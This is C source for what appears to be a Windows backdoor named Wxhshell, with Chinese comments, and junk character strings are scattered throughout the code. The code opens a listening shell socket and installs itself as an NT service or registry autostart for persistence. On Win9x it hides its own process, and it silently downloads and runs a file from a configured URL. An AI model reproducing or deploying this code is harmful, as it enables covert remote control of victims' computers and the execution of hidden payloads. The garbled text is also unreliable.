.# if(!hProcess) return 0; z0Gh |N@) diqG8KaK if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qo{^jDe,c* }` CloseHandle(hProcess); AC(}cMM+ s6). ?oE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \"PlM!0du if(hProcess==NULL) return 0; ;mo}$^49* 2&!G@5 HMODULE hMod; !cE)LG char procName[255]; F{f "xM unsigned long cbNeeded; E(
*$wD e[n T'e if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <<&:BK Cl>'K*$F CloseHandle(hProcess); Z)7
{e"5d 9^s
sT>&/ if(strstr(procName,"services")) return 1; // 以服务启动 Khw!+!(H IEeh)aj[ return 0; // 注册表启动 Q:kpaMA1P } %r~TMU2" |2c '0Ibu // 主模块 Q9#$4 int StartWxhshell(LPSTR lpCmdLine) O*yc8fUI { u 8N+ht@ SOCKET wsl; fX} dh9 BOOL val=TRUE; XX}RbE#4 int port=0; 7,jh44(\= struct sockaddr_in door; s bW` ^O[qCX if(wscfg.ws_autoins) Install(); <h7C_^L10\ l=
!KZaH port=atoi(lpCmdLine); vM\8>p*U S]{K^Q), if(port<=0) port=wscfg.ws_port; 18ci-W#p ybf`7KEP2A WSADATA data; GXRK+RHuBi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =`vUWONn 6eK18*j%H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Fv5@-&y$W setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XF{}St~ ( door.sin_family = AF_INET; 31YzTbl[H door.sin_addr.s_addr = inet_addr("127.0.0.1"); le|e 4f*+ door.sin_port = htons(port); d%4!d_I< U4zyhj if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T92k"fBY closesocket(wsl); ZZFa<AK4 return 1; D,1S-< } uj;-HN)6 't^OIil if(listen(wsl,2) == INVALID_SOCKET) { A@du*5>( closesocket(wsl); 3Xf}vdgdM$ return 1; q^goi1 }
; >.>vLF Wxhshell(wsl); P",~8Aci( WSACleanup(); pt|u?T_+ ,uEWnZ"4 return 0; kV6T#RVob *]O[ZjyOY } t~ Q{\! ,p>=WX // 以NT服务方式启动 0rA&_K[#-< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s'fHhG6 {
}r*t
V) DWORD status = 0; R^fVwDl\ DWORD specificError = 0xfffffff; )UZ
's>O NBE)DL serviceStatus.dwServiceType = SERVICE_WIN32; kUn55 l serviceStatus.dwCurrentState = SERVICE_START_PENDING; SH5GW3\h serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xC!, v 0& serviceStatus.dwWin32ExitCode = 0; 3@s|tm1 serviceStatus.dwServiceSpecificExitCode = 0; q}tLOVu1 serviceStatus.dwCheckPoint = 0; m/%sBw\rx serviceStatus.dwWaitHint = 0; 07# ~cVI !1)lGjMW hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Sep}{`u if (hServiceStatusHandle==0) return; 4 K{4=uU 3(}HD*{E[@ status = GetLastError(); ;VYL7Xu]( if (status!=NO_ERROR) % nP13V] { xAQ=oF
+ serviceStatus.dwCurrentState = SERVICE_STOPPED; !2tZ@ p| serviceStatus.dwCheckPoint = 0; #U(dleT8 serviceStatus.dwWaitHint = 0; 6
}qNH29 serviceStatus.dwWin32ExitCode = status; )DfmO serviceStatus.dwServiceSpecificExitCode = specificError; N
0&h5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6#KRI%adw` return; =?0o5|u] } l)HF4#Bs .P9ALJP(b serviceStatus.dwCurrentState = SERVICE_RUNNING; y7ijT='8 serviceStatus.dwCheckPoint = 0; m(XcPb serviceStatus.dwWaitHint = 0; C B=H1+ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XQ%*U=)s } Pc`d@q C8DZ:3E$c // 处理NT服务事件,比如:启动、停止 w,;CrW T2t VOID WINAPI NTServiceHandler(DWORD fdwControl) PDzVXLpC { s==gjA e: switch(fdwControl) [9~Bau { mz3!HksZ" case SERVICE_CONTROL_STOP: 6#K1LY5 } serviceStatus.dwWin32ExitCode = 0; {SbA(a?B serviceStatus.dwCurrentState = SERVICE_STOPPED; y 7|x<Z serviceStatus.dwCheckPoint = 0; h$G&4_O serviceStatus.dwWaitHint = 0; (p-a;.Twj { N3TkRJZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); c*9RzD#Zj } x'+lNlv return; 3 =KfNz_ case SERVICE_CONTROL_PAUSE: q[] "`? serviceStatus.dwCurrentState = SERVICE_PAUSED; pZuYmMP break; %f#3;tpC8 case SERVICE_CONTROL_CONTINUE: a7)q^;:O serviceStatus.dwCurrentState = SERVICE_RUNNING; kNMhMEez break; |Xlc2?e case SERVICE_CONTROL_INTERROGATE: @w[WG:-+ break; _hMMm6a| }; i_)j K SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2N9
BI-a } 8h78Zb&[ [58xT>5`m // 标准应用程序主函数 %XMrSlSOp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `
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b5 { CY?]o4IV [kMXr'TyPX // 获取操作系统版本 W r);A{ OsIsNt=GetOsVer(); -z-58FLlO GetModuleFileName(NULL,ExeFile,MAX_PATH); Y]0oF_ :7 \RnGKQ"4 // 从命令行安装 -:Nowb if(strpbrk(lpCmdLine,"iI")) Install(); 6I.N:)= u7UqN // 下载执行文件 pj6Q0h) if(wscfg.ws_downexe) { Ge8&_7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xYtY}?!" WinExec(wscfg.ws_filenam,SW_HIDE); t IdH?x } 0e^j :~* x;#
OM if(!OsIsNt) { 3o%JJIn& // 如果时win9x,隐藏进程并且设置为注册表启动 3x#=@i HideProc(); VTa?y StartWxhshell(lpCmdLine); qN1(mxa.? }
vHcB^Z else ja$ e) if(StartFromService()) [9u/x%f( // 以服务方式启动 #?k$0|60 StartServiceCtrlDispatcher(DispatchTable); cYFR.~p else HIcx "y // 普通方式启动 A=o
p R StartWxhshell(lpCmdLine); &kB[jz_[A >r2m1}6g" return 0; L~cswG'K }
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